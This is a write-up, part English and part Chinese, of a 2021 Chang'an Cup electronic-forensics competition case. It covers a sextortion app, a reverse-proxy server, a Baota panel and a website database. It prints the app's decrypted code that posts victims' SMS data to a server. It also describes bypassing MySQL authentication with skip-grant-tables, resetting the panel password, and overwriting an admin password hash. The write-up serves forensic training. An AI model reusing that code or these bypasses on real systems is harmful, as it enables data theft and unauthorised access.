Foreword:
Electronic forensics competitions give me the feeling of doing a test paper. Most of the basic questions are followed by a small number of difficult questions. For simple questions, I mainly rely on some simple reasoning. In normal competitions, there are many professional forensics software that can be used. So in many cases, you don’t necessarily need to know the principles of something to solve problems through the information provided by professional software. The foundation required for electronic evidence collection competitions is first the basic knowledge of the Linux system, and then the knowledge of building a web website. On this basis, get new skills. The following example is a competition question from the 3rd Chang'an Cup in 2021. The reason why this case is used is because it involves a lot of basic knowledge, and the question does not feel so rigid. It is more suitable for beginners to understand electronic forensics and have a good understanding of electronic forensics. Have a relatively deep understanding of the forensic framework. Of course these are just my personal opinions.
Preliminary preparation:
Case background:
On April 25, 2021, at around 8 a.m., the police received a report from the victim Jin, claiming that he had been extorted tens of thousands of yuan; after questioning, Jin was induced by the suspect to chat naked yesterday and downloaded a certain "nude chat" software, causing himself to The suspect's address book and nude chat video were obtained by the suspect and they blackmailed him. Finally, Jin was overwhelmed and chose to call the police. The police collected the installation package of the "naked chat" software - zhibo from the mobile phone provided by Jin. .apk (inspection material one), please answer the following questions: (In the question, you need to decompress the inspection materials two, three, four, and five through the analyzed answers. If the decompression password is IP, you need to add -CAB2021 after the password, for example: 192.168 .100.100-CAB2021)
The above is the background of this case. When understanding the background of the case, you need to pay special attention to the time when the case occurred. This is quite important. When doing evidence collection questions, you need to clarify the context of the entire case and the relationship between the characters. Let’s take a look at the examination materials of this case.
Decryption of inspection materials:
The above are all the inspection materials for this case. One additional point here is that due to the large volume of the inspection materials in the case, the inspection materials are usually distributed a few days in advance for the contestants to download in advance. In order to prevent the contestants from downloading the inspection materials. Afterwards, the inspection materials are password blasted in advance. The inspection materials are often encrypted through veracrypt, an open source tool. Inspection materials 1 & 2 in the picture above are inspection materials files without suffix names that are encrypted by veracrypt. After the competition starts, the official will issue an encrypted password, and contestants can decrypt the inspection materials through veracrypt. The specific steps are as follows:
The password for materials one and two is: 2021 3rd CAB-changancup.com. Open the veracrypt software and click to select the file as shown below
Then select inspection materials 1 & 2, then select a drive letter to mount, and click the load button:
Enter the above password in the pop-up password box and click Confirm.
After veracrypt is decrypted, you can see that the disk has been mounted successfully:
Case analysis:
After decrypting the inspection materials, take a look at the question requirements:
From the title content, we can see that the first inspection material is an apk file, the second and third inspection materials are server inspection materials, and the fourth inspection material contains PC-side inspection materials and mobile phone inspection materials. It should also be noted that the decompression passwords of the following inspection materials and the answers to the previous questions.
Analysis of the inspection materials:
data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw==
1. Please calculate the SHA256 value of the sample Apk.
The first few questions are so-called score-sending questions. It is very simple to obtain the SHA256 value of the APK. You can calculate it with any hash value calculation tool. What I used here is Honglian’s Thunderbolt APK analysis tool to calculate it directly. The following questions can also be answered directly through the Raiden APK analysis tool.
2. The application package name of the APK is
If you don’t use special forensic tools to find this package name, you can consider using the apk disassembly tool to disassemble the apk. Here I use jadx to disassemble the apk file and click AndroidManifest.xml in the resource file. The package name is in<manifest>
the label Properties in package
:
3. The application unique identifier (APPID) of the APK program in the packaging service provider is
** appId
** is the identifier used to uniquely identify the application, which is actually the one plus.H5B8E45D3
in the above questionH5B8E45D3
4. Which of the following dangerous permissions does this APK have (multiple choice questions): ABCDE
A. Read text messages. B. Read address book. C. Read precise location. D. Modify address book. E. Modify text messages
A tricky way to solve this problem is to install the APK file directly into a mobile phone simulator software. Generally, the app will ask for permissions during installation.
According to the permission information above, you can find that all the options that appear above are available here. This method is a rather tricky one. The serious solution is:
There are still some tags in the AndroidManifest, uses-permission
which contain the permissions required by the apk. You can check the permissions table below to compare them one by one.
Access registration properties | android.permission.ACCESS_CHECKIN_PROPERTIES, permission to read or write the check-in database property table |
---|---|
Get error location | android.permission.ACCESS_COARSE_LOCATION, obtains the user's incorrect longitude and latitude information through WiFi or mobile base stations. The positioning accuracy is approximately 30~1500 meters. |
Get precise location | android.permission.ACCESS_FINE_LOCATION, receives satellite positioning information through the GPS chip, and the positioning accuracy is within 10 meters. |
Access location extra commands | android.permission.ACCESS_LOCATION_EXTRA_COMMANDS, allows programs to access additional location provider directives |
Get simulated positioning information | android.permission.ACCESS_MOCK_LOCATION, obtains simulated positioning information, generally used to help developers debug applications |
Get network status | android.permission.ACCESS_NETWORK_STATE, obtain network information status, such as whether the current network connection is valid |
Visit Surface Flinger | android.permission.ACCESS_SURFACE_FLINGER, the underlying graphics display support on the Android platform, generally used for game or camera preview interfaces and screenshots of underlying modes |
Get WiFi status | android.permission.ACCESS_WIFI_STATE, obtains the current WiFi access status and WLAN hotspot information |
Account management | android.permission.ACCOUNT_MANAGER, obtains account verification information, mainly GMail account information, which only system-level processes can access |
Verify account | android.permission.AUTHENTICATE_ACCOUNTS, allows a program to access account management ACCOUNT_MANAGER related information through account verification. |
Power statistics | android.permission.BATTERY_STATS, obtain battery power statistics information |
Bind widget | android.permission.BIND_APPWIDGET, allows a program to tell the appWidget service that it needs to access the widget's database. Only very few applications use this permission. |
Bind device management | android.permission.BIND_DEVICE_ADMIN, request the system administrator receiver, only the system can use it |
Bind input method | android.permission.BIND_INPUT_METHOD, requests the InputMethodService service, which can only be used by the system |
BindRemoteView | android.permission.BIND_REMOTEVIEWS must be requested through the RemoteViewsService service and can only be used by the system. |
Binding wallpaper | android.permission.BIND_WALLPAPER must be requested through the WallpaperService service and can only be used by the system. |
Use bluetooth | android.permission.BLUETOOTH, allows the program to connect to paired Bluetooth devices |
Bluetooth management | android.permission.BLUETOOTH_ADMIN, allows the program to discover and pair new Bluetooth devices |
turn into bricks | android.permission.BRICK, can disable the phone, which is very dangerous. As the name suggests, it turns the phone into a brick. |
Broadcast when app is deleted | android.permission.BROADCAST_PACKAGE_REMOVED, triggers a broadcast when an application is deleted |
Broadcast when a text message is received | android.permission.BROADCAST_SMS, triggers a broadcast when a text message is received |
continuous broadcast | android.permission.BROADCAST_STICKY, allows a program to quickly receive the next broadcast after receiving a broadcast |
WAP PUSH Broadcast | android.permission.BROADCAST_WAP_PUSH, the WAP PUSH service triggers a broadcast after receiving it |
dial number | android.permission.CALL_PHONE, allows programs to enter phone numbers from non-system dialers |
Call permission | android.permission.CALL_PRIVILEGED, allows the program to make calls and replace the system's dialer interface |
Photo permission | android.permission.CAMERA, allows access to the camera to take pictures |
Change component state | android.permission.CHANGE_COMPONENT_ENABLED_STATE, changes whether the component is enabled or not |
Change configuration | android.permission.CHANGE_CONFIGURATION, allows the current application to change configuration, such as positioning |
Change network status | android.permission.CHANGE_NETWORK_STATE, change the network status such as whether it can connect to the Internet |
Change WiFi multicast status | android.permission.CHANGE_WIFI_MULTICAST_STATE, change WiFi multicast status |
Change WiFi status | android.permission.CHANGE_WIFI_STATE, change WiFi status |
Clear app cache | android.permission.CLEAR_APP_CACHE, clear application cache |
Clear user data | android.permission.CLEAR_APP_USER_DATA, clear the user data of the application |
Low-level access rights | android.permission.CWJ_GROUP, allows the CWJ account group to access underlying information |
Mobile phone optimization master extended permissions | android.permission.CELL_PHONE_MASTER_EX, mobile phone optimization master extended permissions |
Control location updates | android.permission.CONTROL_LOCATION_UPDATES, allows access to mobile network location information changes |
Delete cache files | android.permission.DELETE_CACHE_FILES, allows the application to delete cache files |
Delete app | android.permission.DELETE_PACKAGES, allows the program to delete applications |
Power management | android.permission.DEVICE_POWER, allows access to underlying power management |
Application diagnostics | android.permission.DIAGNOSTIC, allows programs to RW to diagnostic resources |
Disable keyguard | android.permission.DISABLE_KEYGUARD, allows the program to disable the keyboard lock |
Dump system information | android.permission.DUMP, allows programs to obtain system dump information from system services |
status bar control | android.permission.EXPAND_STATUS_BAR, allows the program to expand or shrink the status bar |
Factory test mode | android.permission.FACTORY_TEST, allows the program to run factory test mode |
Use flash | android.permission.FLASHLIGHT, allows access to flash |
Forced retreat | android.permission.FORCE_BACK, allows the program to force the use of the back button, regardless of whether the Activity is at the top level |
Access account Gmail list | android.permission.GET_ACCOUNTS, access GMail account list |
Get application size | android.permission.GET_PACKAGE_SIZE, get the file size of the application |
Get task information | android.permission.GET_TASKS, allows the program to obtain currently or recently running applications |
Allow global search | android.permission.GLOBAL_SEARCH, allows the program to use the global search function |
hardware test | android.permission.HARDWARE_TEST, access hardware auxiliary devices for hardware testing |
injection event | android.permission.INJECT_EVENTS, allows access to the underlying events of this program and obtains the event stream of buttons and trackballs |
Installation positioning provided | android.permission.INSTALL_LOCATION_PROVIDER, installation location provided |
Install application | android.permission.INSTALL_PACKAGES, allows programs to install applications |
internal system window | android.permission.INTERNAL_SYSTEM_WINDOW, allows programs to open internal windows and does not grant this permission to third-party applications |
access network | android.permission.INTERNET, access network connections, may generate GPRS traffic |
End background process | android.permission.KILL_BACKGROUND_PROCESSES, allows the program to call the killBackgroundProcesses(String). method to end the background process |
Manage account | android.permission.MANAGE_ACCOUNTS, allows the program to manage the account list in AccountManager |
Hypervisor Reference | android.permission.MANAGE_APP_TOKENS, manages creation, destruction, Z-axis order, only for system |
Advanced permissions | android.permission.MTWEAK_USER, allows mTweak users to access advanced system permissions |
Community permissions | android.permission.MTWEAK_FORUM, allow the use of mTweak community permissions |
soft format | android.permission.MASTER_CLEAR, allows the program to perform soft formatting and delete system configuration information |
Modify sound settings | android.permission.MODIFY_AUDIO_SETTINGS, modify sound setting information |
Modify phone status | android.permission.MODIFY_PHONE_STATE, modify the phone state, such as airplane mode, but does not include replacing the system dialer interface |
Format file system | android.permission.MOUNT_FORMAT_FILESYSTEMS, format the removable file system, such as formatting and clearing the SD card |
Mount file system | android.permission.MOUNT_UNMOUNT_FILESYSTEMS, mount and unmount external file systems |
Allow NFC communication | android.permission.NFC, allows programs to perform NFC short-range communication operations for mobile support |
Perpetual Activity | android.permission.PERSISTENT_ACTIVITY,创建一个永久的Activity,该功能标记为将来将被移除 |
处理拨出电话 | android.permission.PROCESS_OUTGOING_CALLS,允许程序监视,修改或放弃播出电话 |
读取日程提醒 | android.permission.READ_CALENDAR,允许程序读取用户的日程信息 |
读取联系人 | android.permission.READ_CONTACTS,允许应用访问联系人通讯录信息 |
屏幕截图 | android.permission.READ_FRAME_BUFFER,读取帧缓存用于屏幕截图 |
读取收藏夹和历史记录 | com.android.browser.permission.READ_HISTORY_BOOKMARKS,读取浏览器收藏夹和历史记录 |
读取输入状态 | android.permission.READ_INPUT_STATE,读取当前键的输入状态,仅用于系统 |
读取系统日志 | android.permission.READ_LOGS,读取系统底层日志 |
读取电话状态 | android.permission.READ_PHONE_STATE,访问电话状态 |
读取短信内容 | android.permission.READ_SMS,读取短信内容 |
读取同步设置 | android.permission.READ_SYNC_SETTINGS,读取同步设置,读取Google在线同步设置 |
读取同步状态 | android.permission.READ_SYNC_STATS,读取同步状态,获得Google在线同步状态 |
重启设备 | android.permission.REBOOT,允许程序重新启动设备 |
开机自动允许 | android.permission.RECEIVE_BOOT_COMPLETED,允许程序开机自动运行 |
接收彩信 | android.permission.RECEIVE_MMS,接收彩信 |
接收短信 | android.permission.RECEIVE_SMS,接收短信 |
接收Wap Push | android.permission.RECEIVE_WAP_PUSH,接收WAP PUSH信息 |
录音 | android.permission.RECORD_AUDIO,录制声音通过手机或耳机的麦克 |
排序系统任务 | android.permission.REORDER_TASKS,重新排序系统Z轴运行中的任务 |
结束系统任务 | android.permission.RESTART_PACKAGES,结束任务通过restartPackage(String)方法,该方式将在外来放弃 |
发送短信 | android.permission.SEND_SMS,发送短信 |
设置Activity观察其 | android.permission.SET_ACTIVITY_WATCHER,设置Activity观察器一般用于monkey测试 |
设置闹铃提醒 | com.android.alarm.permission.SET_ALARM,设置闹铃提醒 |
设置总是退出 | android.permission.SET_ALWAYS_FINISH,设置程序在后台是否总是退出 |
设置动画缩放 | android.permission.SET_ANIMATION_SCALE,设置全局动画缩放 |
设置调试程序 | android.permission.SET_DEBUG_APP,设置调试程序,一般用于开发 |
设置屏幕方向 | android.permission.SET_ORIENTATION,设置屏幕方向为横屏或标准方式显示,不用于普通应用 |
设置应用参数 | android.permission.SET_PREFERRED_APPLICATIONS,设置应用的参数,已不再工作具体查看addPackageToPreferred(String) 介绍 |
设置进程限制 | android.permission.SET_PROCESS_LIMIT,允许程序设置最大的进程数量的限制 |
设置系统时间 | android.permission.SET_TIME,设置系统时间 |
设置系统时区 | android.permission.SET_TIME_ZONE,设置系统时区 |
设置桌面壁纸 | android.permission.SET_WALLPAPER,设置桌面壁纸 |
设置壁纸建议 | android.permission.SET_WALLPAPER_HINTS,设置壁纸建议 |
发送永久进程信号 | android.permission.SIGNAL_PERSISTENT_PROCESSES,发送一个永久的进程信号 |
状态栏控制 | android.permission.STATUS_BAR,允许程序打开、关闭、禁用状态栏 |
访问订阅内容 | android.permission.SUBSCRIBED_FEEDS_READ,访问订阅信息的数据库 |
写入订阅内容 | android.permission.SUBSCRIBED_FEEDS_WRITE,写入或修改订阅内容的数据库 |
显示系统窗口 | android.permission.SYSTEM_ALERT_WINDOW,显示系统窗口 |
更新设备状态 | android.permission.UPDATE_DEVICE_STATS,更新设备状态 |
使用证书 | android.permission.USE_CREDENTIALS,允许程序请求验证从AccountManager |
使用SIP视频 | android.permission.USE_SIP,允许程序使用SIP视频服务 |
使用振动 | android.permission.VIBRATE,允许振动 |
唤醒锁定 | android.permission.WAKE_LOCK,允许程序在手机屏幕关闭后后台进程仍然运行 |
写入GPRS接入点设置 | android.permission.WRITE_APN_SETTINGS,写入网络GPRS接入点设置 |
写入日程提醒 | android.permission.WRITE_CALENDAR,写入日程,但不可读取 |
写入联系人 | android.permission.WRITE_CONTACTS,写入联系人,但不可读取 |
写入外部存储 | android.permission.WRITE_EXTERNAL_STORAGE,允许程序写入外部存储,如SD卡上写文件 |
写入Google地图数据 | android.permission.WRITE_GSERVICES,允许程序写入Google Map服务数据 |
写入收藏夹和历史记录 | com.android.browser.permission.WRITE_HISTORY_BOOKMARKS,写入浏览器历史记录或收藏夹,但不可读取 |
读写系统敏感设置 | android.permission.WRITE_SECURE_SETTINGS,允许程序读写系统安全敏感的设置项 |
读写系统设置 | android.permission.WRITE_SETTINGS,允许读写系统设置项 |
编写短信 | android.permission.WRITE_SMS,允许编写短信 |
写入在线同步设置 | android.permission.WRITE_SYNC_SETTINGS,写入Google在线同步设置 |
5.该APK发送回后台服务器的数据包含一下哪些内容(多选题):
A.手机通讯录.B.手机应用列表.C.手机号码.D.验证码.E.GPS定位信息.
这个题的解法可以从两个方向下手一个是逆向apk分析源代码,一个是抓包之后观察数据包内容,先看第一种解法,之前在分析AndroidManifest.xml文件时有看到包名处有dcloud等字样
DCloud平台经常用于开发基于WebView的应用,根据这个线索可以首先看一下这个apk是不是网站打包后的apk文件,回到jadx,找找这个反汇编项目的资源文件:
可以看到这里面躺着一个网站文件夹,先看一下index.html
中的代码
这些html代码就是apk的首页代码,在这个html代码的末尾还引用了一段js代码,不过是经过sojson加密的
这段代码出现在这就非常可疑了,sojson加密很好解决,直接将这段加密代码放到在线sojson解密网站进行解密
将解密后的代码复制出来进行分析(如果嫌麻烦直接丢给chatgpt)
经过chatgpt的一通分析发现代码中名为huoqu的函数获取了一些信息然后发送给了服务器:
整合上面的信息该apk获取了手机通讯录,手机号,邀请码,GPS定位。(address文件在chatgpt中没有给全,这个变量在同文件的一个函数中是赋了值的)
第二种解法:
将apk文件放到模拟器里,对fiddler进行配置,然后在手机上下载安全证书进行抓包
可以看抓到目标服务器的地址
6.该APK程序回传通讯录时,使用的http请求方式为()
这里还是前面分析的js代码,其中有一段代码:
mui.ajax(apiserver + 'apisms', {
data: {
data: duanxin
},
dataType: 'text',
//服务器返回json格式数据
type: 'post',
//HTTP请求类型
timeout: 10000,
//超时时间设置为10秒;
success: function (data) {
mui.toast('获取成功')
//console.log(con)
},
error: function (xhr, type, errorThrown) {
//异常处理;
}
});
可以看到使用的是POST请求
7.该APK程序的回传地址域名为【标准格式:www.abc.com】 :
前面通过抓包已经看到了回传的地址域名为www.honglian7001.com
8.该APK程序代码中配置的变量apiserver的值为【标准格式:www.abc.com/abc】
同样还是看上面解密后的js代码直接搜索该变量即可:
9.分析该APK,发现该程序还具备获取短信回传到后台的功能,短信上传服务器接口地址为【标准格式:www.abc.com/abc】
继续审计js代码,可以发现短信上传服务器的接口地址是由变量 apiserver
和字符串 'apisms'
组合而成的:www.honglian7001.com/api/uploads/apisms
10.经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该文件的文件名为
这个题的思路是直接在jadx中全局搜索.db字样会出现几个结果
接着跟进这几个可能的选项分析代码(不会的直接问chatgpt就行),最后可以确定产生的数据库的文件名为test.db,这里看一下相关代码
代码解析:
120行负责初始化一个test.db的数据库,然后121行到122行就是生成这个数据库的密钥,具体生成过程为
bytesToHex(key)
: 将**key
**字节数组转换为十六进制字符串,即616263646566
。.substring(1, 3)
: 从上一步的结果中获取下标1和下标2这两个元素作为子字符串。即,16
getMD5(...)
: 对上一步的结果进行MD5哈希。
11.经分析,发现该APK在运行过程中会在手机中产生一个数据库文件,该数据库的初始密码为
根据前面的分析密钥就是16的MD5值,如果觉得不够保险也可以自己写个java脚本复现一下上述操作
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public class HelloWorld {
public static void main(String []args) {
byte[] key = {97, 98, 99, 100, 101, 102};
System.out.println(getMD5(bytesToHex(key).substring(1, 3)));
}
public static String getMD5(String input) {
try {
MessageDigest md = MessageDigest.getInstance("MD5");
byte[] digest = md.digest(input.getBytes());
return bytesToHex(digest);
} catch (NoSuchAlgorithmException e) {
throw new RuntimeException(e);
}
}
public static String bytesToHex(byte[] bytes) {
StringBuilder sb = new StringBuilder();
for (byte b : bytes) {
sb.append(String.format("%02x", b));
}
return sb.toString();
}
}
最后密钥为:
检材二分析:
题目有说第七题的答案是检材二的解压密码:
第七题的答案为www.honglian7001.com
。解压成功之后可以看到是一个E01镜像文件:
这时候可以分为两步走,第一步是使用专业的取证软件比如弘连的火眼证据分析软件,美亚的取证大师对镜像进行分析,第二步是将镜像仿真成虚拟机文件,然后运行起来进行分析。关于镜像的仿真同样可以试用弘连的火眼仿真进行虚拟机文件转换,但是没有仿真软件也不要紧,可以使用FTK对E01镜像进行挂载,具体操作可参考:
虚拟机跑起来后,还有一个问题需要注意,就是运行之后需要密码登录,这里可以搜索相关系统的修改密码办法
12.检材二的原始硬盘的SHA256值为:
前面说过解法,这里不过多赘述
13.查询涉案于案发时间段内登陆服务器的IP地址为【标准格式:111.111.111.111】
这个题的重点是得先知道案发时间是啥时候,已知的时间点是报案时间为4月25日,而根据金先生所述他是昨天下的裸聊软件
所以我们基本可以确定案发时间是4月24,输入last命令查看历史登录
14.请对检材二进行分析,并回答该服务器在集群中承担的主要作用是(负载均衡服务器)【格式:文件存储】
通过查看history查看命令(通过仿真软件或者仿真都可以看到)
通过对历史命令的分析可以发现,使用者在频繁的使用这个文件夹,所以cd过去看他的readme
通过读他的readme可以了解到const大概就是端口号配置文件所在的地方,而ADProxy.js是反向代理目标地址的配置文件
15.上一题中,提到的主要功能对应的服务监听的端口为:80
进入配置文件可以直切看到这些信息
16.上一题中,提到的服务所使用的启动命令为:
在history中可以发现app.js在被平凡的运行,而且它占用的是80端口
node app.js & //node是nodejs运行代码的代码的命令,&是在后台运行
使用netstat -napt就可以只看到80端口正在被node占用
17.经分析,该服务对于请求来源IP的处理依据是:根据请求源IP地址的第(三)位进行判断【标准格式:9】
/**
* 反向代理
*
*/
module.exports = function(_brain, _app) {
/* INCLUDE */
const path = _brain.A.path;
const async = _brain.A.async;
const proxy = require('http-proxy-middleware');
const net = require('net');
/* DEFINE */
const _tag = path.basename(__filename, ".js");
var _isBanned = false;
var _isStarted = false;
if(!_brain.A.checkIsNull(_brain.C.autorun_config[_tag], _tag)){
_isStarted = _brain.C.autorun_config[_tag];
}
/* DEFINE PROXY */
const _proxy50 = {
protocol: 'http:',
host: '192.168.110.111',
port: 80
}
const _proxy100 = {
protocol: 'http:',
host: '192.168.110.112',
port: 80
}
const _proxy100p = {
protocol: 'http:',
host: '192.168.110.113',
port: 80
} //18行到33行的代码定义了三个对象
/* Private Function */
/**
* Service Running
*/
var service = function (){
if(!_isStarted) return;
// proxy middleware options
const _proxyer_chronus = proxy({
target: '/', // target host
changeOrigin: true, // needed for virtual hosted sites
ws: true, // proxy websockets
router: function(req) {
var clientIP = req.get("x-forwarded-for") //46行是一个关键点,程序通过返回的IP数据包的XFF字段来获取IP地址
if (clientIP == undefined) {
clientIP = req.connection.remoteAddress
} //49行将接收到的IP以点分割成四段,进入下面的判断
var clientIPArr = clientIP.split(".")
if (clientIPArr.length == 4) {
var clientIP3Int = parseInt(clientIPArr[2]) //52定义一个变量,值从分段后的第三段获得
global.logger.warn('[Proxy_RequestHeader] -> ' + JSON.stringify(req.headers));
global.logger.warn('[Proxy_ClientIP] -> ' + clientIP);
if (clientIP3Int <= 50) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy50));
return _proxy50
} else if (clientIP3Int <= 100) {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100));
return _proxy100
} else {
global.logger.warn('[Proxy_Destination] -> ' + JSON.stringify(_proxy100p));
return _proxy100p
}
}
}
})
_app.all('/*', _proxyer_chronus);
};
/**
* Service Killing
*/
var serviceKiller = function (){
};
/* Public Function */
/* 返回_tag */
var getTag = function (){
return _tag;
};
/* 判断服务是否开启 */
var isStarted = function (){
return _isStarted;
};
/* 判断服务是否被意外禁止 */
var isBanned = function (){
return _isBanned;
};
/* 服务开关 */
var startServer = function (callBack){
_isStarted = true;
service();
if(callBack)
callBack(100, _tag + ' Started');
};
var stopServer = function (callBack){
_isStarted = false;
serviceKiller();
if(callBack)
callBack(100, _tag + ' Stopped');
};
/* Service AutoRun */
if(_isStarted){
startServer();
}else{
stopServer();
}
return{
getTag : getTag,
isStarted : isStarted,
isBanned : isBanned,
startServer : startServer,
stopServer : stopServer,
};
}
从这里我们就可以判断此程序是通过源地址的第三位来进行判断
18.经分析,当判断条件小于50时,服务器会将该请求转发到IP为()的服务器上【标准格式:111.111.111.111】
这里依旧是对上述代码进行分析,小于50对应的是对象“_proxy50”,对应的IP是'192.168.110.111'
19.分析,该服务器转发的目标服务器一共有几台【标准格式:9】
根据上述代码的条件可以得出目标服务器是三台
20.请分析,受害者通讯录被获取时,其设备的IP地址为【标准格式:111.111.111.111】
如果仔细观察history的历史命令可以发现honglianjingsai目录下是有日志文件的并且还被查看过
已知案发时间实在4月24日,我们cd过去,ls可以发现当天的日志只有一个
查看日志后发现当天被转发的IP总共有三个,
192.168.110.142
192.168.110.252
192.168.110.203
一开始这个题根据现有信息是做不了的,但做到后面,我们一旦确定了案发的准确时间(精确到分秒)就可以找到ip
21.请分析,受害者的通讯录被窃取之后,经由该服务器转发到了IP为()的服务器上【标准格式:111.111.111.111】
这题还是是通过查日志
还是根据之前的代码进行分析,我们都可以知道转发的服务器是:192.168.110.113
检材三分析:
22.检材三的原始硬盘的SHA256值为:
老套路,但这里有坑,这三个服务器是负载均衡转发的三个目标服务器,目前已知服务器所转发的对象,是第三个服务器,所以我们要算的是第三台服务器的ip
23.请分析第21题中,所指的服务器的开机密码为:
通过火眼证据分析可以看到shell,里面有密码的记录
24.嫌疑人架设网站使用了宝塔面板,请问面板的登陆用户名为:hl123
确定是web3镜像之后,直接仿真按照之前的配网方法拿到虚拟局域网vmnet1,就可以直接用了
直接在浏览器输入内网面板地址,在登录界面会遇到一个问题,其密码是错误的,这里有两种方法:
方法一:bt,输入5,输入想要修改的密码
方法二:输入命令
cd /www/server/panel && python tools.py panel 123456
25.请分析用于重置宝塔面板密码的函数名为 set_panel_pwd
这题的分析思路在于tool.py这个脚本,可以看到上一题的方法二中修改密码的命令调用的起始页是tools.py这个脚本导出来做代码审计
可以发现tools.py里面对应的是bt命令下的所有功能,下面是import包含的库
import sys,os
panelPath = '/www/server/panel/'
os.chdir(panelPath) //将当前工作目录切换到指定路径
sys.path.insert(0,panelPath + "class/") //sys.path模块可以动态修改系统路径
import public,time,json
if sys.version_info[0] == 3: raw_input = input
我们主要需要关注的是设置面板密码的部分:
在第5行可以看到明文password被md5加密后传到public.password_salt函数中
#设置面板密码
def set_panel_pwd(password,ncli = False):
import db //这里调用了在class目下db模块
sql = db.Sql()
result = sql.table('users').where('id=?',(1,)).setField('password',public.password_salt(public.md5(password),uid=1))
username = sql.table('users').where('id=?',(1,)).getField('username')
if ncli:
print("|-用户名: " + username)
print("|-新密码: " + password)
else:
print(username)
class下的public模块,在tools.py中被调用的模块代码
def md5(strings):
return Md5(strings)
def password_salt(password,username=None,uid=None):
'''
@name 为指定密码加盐
@author hwliang<2020-07-08>
@param password string(被md5加密一次的密码)
@param username string(用户名) 可选
@param uid int(uid) 可选
@return string
'''
chdck_salt()
if not uid:
if not username:
raise Exception('username或uid必需传一项')
uid = M('users').where('username=?',(username,)).getField('id')
salt = M('users').where('id=?',(uid,)).getField('salt')
return md5(md5(password+'_bt.cn')+salt)
public中的调用的函数
def chdck_salt(): //此函数描述了盐的生成方式
'''
@name 检查所有用户密码是否加盐,若没有则自动加上
@author hwliang<2020-07-08>
@return void
'''
if not M('sqlite_master').where('type=? AND name=? AND sql LIKE ?', ('table', 'users','%salt%')).count():
M('users').execute("ALTER TABLE 'users' ADD 'salt' TEXT",())
u_list = M('users').where('salt is NULL',()).field('id,username,password,salt').select()
if isinstance(u_list,str):
if u_list.find('no such table: users') != -1:
rep_default_db()
if not M('sqlite_master').where('type=? AND name=? AND sql LIKE ?', ('table', 'users','%salt%')).count():
M('users').execute("ALTER TABLE 'users' ADD 'salt' TEXT",())
u_list = M('users').where('salt is NULL',()).field('id,username,password,salt').select()
for u_info in u_list:
salt = GetRandomString(12) #12位随机
pdata = {}
pdata['password'] = md5(md5(u_info['password']+'_bt.cn') + salt)
pdata['salt'] = salt
M('users').where('id=?',(u_info['id'],)).update(pdata)
调用了rep_default_db模块,里面调用了文件
def rep_default_db():
db_path = '/www/server/panel/data/'
db_file = db_path + 'default.db'
db_tmp_backup = db_path + 'default_' + format_date("%Y%m%d_%H%M%S") + ".db"
panel_backup = '/www/backup/panel'
bak_list = os.listdir(panel_backup)
if not bak_list: return False
bak_list = sorted(bak_list,reverse=True)
db_bak_file = ''
for d_name in bak_list:
db_bak_file = panel_backup + '/' + d_name + '/data/default.db'
if not os.path.exists(db_bak_file): continue
if os.path.getsize(db_bak_file) < 17408: continue
break
if not db_bak_file: return False
ExecShell("\cp -arf {} {}".format(db_file,db_tmp_backup))
ExecShell("\cp -arf {} {}".format(db_bak_file,db_file))
return True
26.请分析宝塔面板登陆密码的加密方式所使用的哈希算法为 md5
分析上述代码可知
27.请分析宝塔面板对于其默认用户的密码一共执行了几次上题中的哈希算法
三次
28.请分析当前宝塔面板密码加密过程中所使用的salt值为【区分大小写】v87ilhAVumZL
通过SQLite查看文件写入的db文件的users表可以获得答案
29.请分析该服务器,网站源代码所在的绝对路径为/www/wwwroot/www.honglian7001
30.请分析,网站所使用的数据库位于IP为(192.168.110.115)的服务器上(请使用该IP解压检材五,并重构网站)【标准格式:111.111.111.111】
31.请分析,数据库的登陆密码为【区分大小写】 wxrM5GtNXk5k5EPX
看上图
题目要求重构网站,我们直接在宝塔上运行发现没有连接数据库,所以我们主要目标是连接数据库,而数据库的文件可以看到是三个raid文件,raid重组:
通过ufs可以快速算出raid的参数,操作如下:
打开文件选中那三个原始镜像文件:
open就行
依次选中加入raid
直接用取证大师将这些参数在raid重组时填写进去
导出后就可以直接用仿真软件做成虚拟机文件
重构成功后我们打开网址进行测试,可以发现已经连接成功
但是当我们用premium连接数据库的时候却报错了,这里是出题人设置的坑,他建了一个空用户导致我们连接异常,但我们可以直接进入服务器后台修改my.cnf。在后面加上命令
skip-grant-tables
作用是跳过密码检验
然后重启数据库
systemctl restart mysqld
此时直接用数据库软件连接就可以了,根据之前做题可以知道
账号:www_honglian7001
密码:wxrM5GtNXk5k5EPX
32.请尝试重构该网站,并指出,该网站的后台管理界面的入口为/admin【标准格式:/web】
可以尝试对审计网站源代码,也可以查看取证软件中的历史记录或日志看该网页的访问记录
33.已该涉案网站代码中对登录用户的密码做了加密处理。请找出加密算法中的salt值【区分大
小写】lshi4AsSUrUOwWV
34.请分析该网站的管理员用户的密码为:
这个题目的做法有点怪异官方的出题人是说把整个目录都导出来,然后直接用vs对整个目录进行搜索,索索的关键字为“password”。
首先xftp导出整个目录
然后丢到vscode里面
然后直接用搜索功能,可以看到有好几个日志,修改了很多次密码,但最后一次改成了,security
此时我们可以知道
账号:admin
密码:security
补充知识点:
当我们找不到密码时也是可以登入后台的,方法是通过数据库软件找到admin对应的密码位置
根据33题我们知道了密码的加密方式,那我们就可以用自己的密码,来进行同样的加密之后替换原表的值来达到密码的绕过,
可以看到密码已经绕过成功了
35.在对后台账号的密码加密处理过程中,后台一共计算几次哈希值3
36.请统计,后台中,一共有多少条设备记录 6002
37.请通过后台确认,本案中受害者的手机号码为 15611228877
这个题需要结合检材四中的手机来确定受害者的手机型号从而来确定受害手机
38.请分析,本案中受害者的通讯录一共有多少条记录
检材四分析:
通过对检材二和三进行分析,警方通过IP落地,警方成功抓获犯罪嫌疑人,现将嫌疑人的PC机和手机进行了取证,分别制 作了镜像,请使用第13题的答案对检材四进行解密,并回答下列问题
从检材四开始基本就是使用取证大师和火眼证据分析工具来进行分析了
39.请计算检材四-PC的原始硬盘的SHA256值
略
40.请分析,检材四-PC的Bitlocker加密分区的解密密钥为
可以通过取证大师中搜索到
41.请分析,检材四-PC的开机密码为
开机密码的解题思路为找到用户的ntlm值然后放到查md5值的网站直接进行查询
42.经分析发现,检材四-PC是嫌疑人用于管理服务器的设备,其主要通过哪个浏览器控制网站后
这个是使用的取证大师查看浏览器记录
